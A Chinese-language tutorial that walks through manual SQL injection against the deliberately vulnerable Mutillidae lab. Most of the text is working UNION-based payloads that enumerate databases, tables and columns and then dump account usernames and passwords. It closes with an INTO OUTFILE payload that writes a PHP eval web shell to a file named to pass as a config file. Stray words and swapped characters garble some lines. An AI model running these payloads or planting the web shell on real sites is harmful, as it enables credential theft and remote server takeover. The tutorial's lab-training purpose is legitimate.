环境: xampp-win32-5.6.3-0-VC11 Mutillidae-2.6.19
网上能搜到mutillidae 相关的工具注入,可是手工注入的基本没有,好像大神们都已经略过手工注入这一阶段了,没办法,刚进入的新手仍是老老实实手工注入。php
这里也将搜集到的工具注入记录以下,之后用工具注入会有用的:html
mutillidae跟dvwa相似,也有安全级别,因此刚开始作手工注入的时候就将它调至最低吧:mysql
而后咱们到mutillidae的注入点:web
OWASP 2013 --> ”A1 - Injection” —>> ”SQLi - Extract Data” —>> ”User Info”
SQL注入最重要的是寻找注入点,mutillidae 这里面的注入跟别的实际场景不同,咱们知道最多见的是去url上检测注入点。 固然像mutillidae 这样的构造的用户登录的注入点检测也不少(经常使用的万能密码测试?)。只是目前本身遇到的还少。sql
在用户信息界面:单引号检测Name对应表单,结果以下:数据库
经过这张图片咱们就知道后端数据支撑的数据库类型是mysql了后端
咱们还能够尝试是否能列出全部用户信息: ‘ or 1=1 #
结果咱们获得了全部用户信息。(图略)安全
咱们使用以下语句:ide
’ order by 10 # 页面出错 ’ order by 5 # 页面无数据 ’ order by 7 # 页面无数据 ’ order by 8 # 页面出错
因此猜到查询结果集的列数为 7列函数
先用以下语句获得哪些字段能够用来显示数据:
' and 1=2 union select 1,2,3,4,5,6,7 #
以下图:
而后构造语句:
' and 1=2 union select 1,user(),version(),database(),5,6,7 #
而后咱们就获得了以下信息
Username=root@localhost Password=5.6.21 Signature=nowasp
若是只有一个字段能够显示信息的,那么咱们能够用concat_ws函数方便一次性获得数据
' and 1=2 union select 1,concat_ws(char(32,58,32),user(),database(),version()),3,4,5,6,7 #
获得的信息以下:
Username=root@localhost : nowasp : 5.6.21 Password=3 Signature=4
这下知道是mysql5以上的数据库,那么咱们就能够直接利用系统库爆出一些信息
' and 1=2 union select 1,SCHEMA_NAME,3,4,5,6,7 from information_schema.SCHEMATA #
获得的数据库名以下:
information_schema cdcol dvwa mysql nowasp performance_schema phpmyadmin test webauth
获得的数据库仍是蛮多的,放在这儿,做为检测,这些都是可利用的信息,或许之后有用
' and 1=2 union select 1,TABLE_NAME,3,4,5,6,7 from information_schema.TABLES where TABLE_SCHEMA=0x6E6F77617370 #
其中0x6E6F77617370是nowasp的十六进制编码
获得的表名以下:
accounts balloon_tips blogs_table captured_data credit_cards help_texts hitlog level_1_help_include_files page_help page_hints pen_test_tools youtubevideos
这表也是蛮多的,可是通常咱们只须要咱们有用的表就行,目前须要的是系统用户信息表,这里看就是accounts表了
' and 1=2 union select 1,COLUMN_NAME,3,4,5,6,7 from information_schema.COLUMNS where TABLE_NAME=0x6163636F756E7473 #
其中0x6163636F756E7473是accounts的16进制编码
获得的字段以下:
cid username password mysignature is_admin firstname lastname USER CURRENT_CONNECTIONS TOTAL_CONNECTIONS
' and 1=2 union select 1,username,password,mysignature,5,6,7 from accounts#
你会发现这跟以前的万能密码爆出来的东西同样。 这大概就是mysql 5的注入获取数据的过程,
而后你须要找后台,找上传点,上传你的小马。或者试下下面简单快捷方法,写入一句话(须要你有写入权限)
' union select 1,'<?php eval($_POST[cmd]);?>',3,4,5,6,7 into outfile 'D:\\xampp\\htdocs\\mutillidae\\coofig.php' #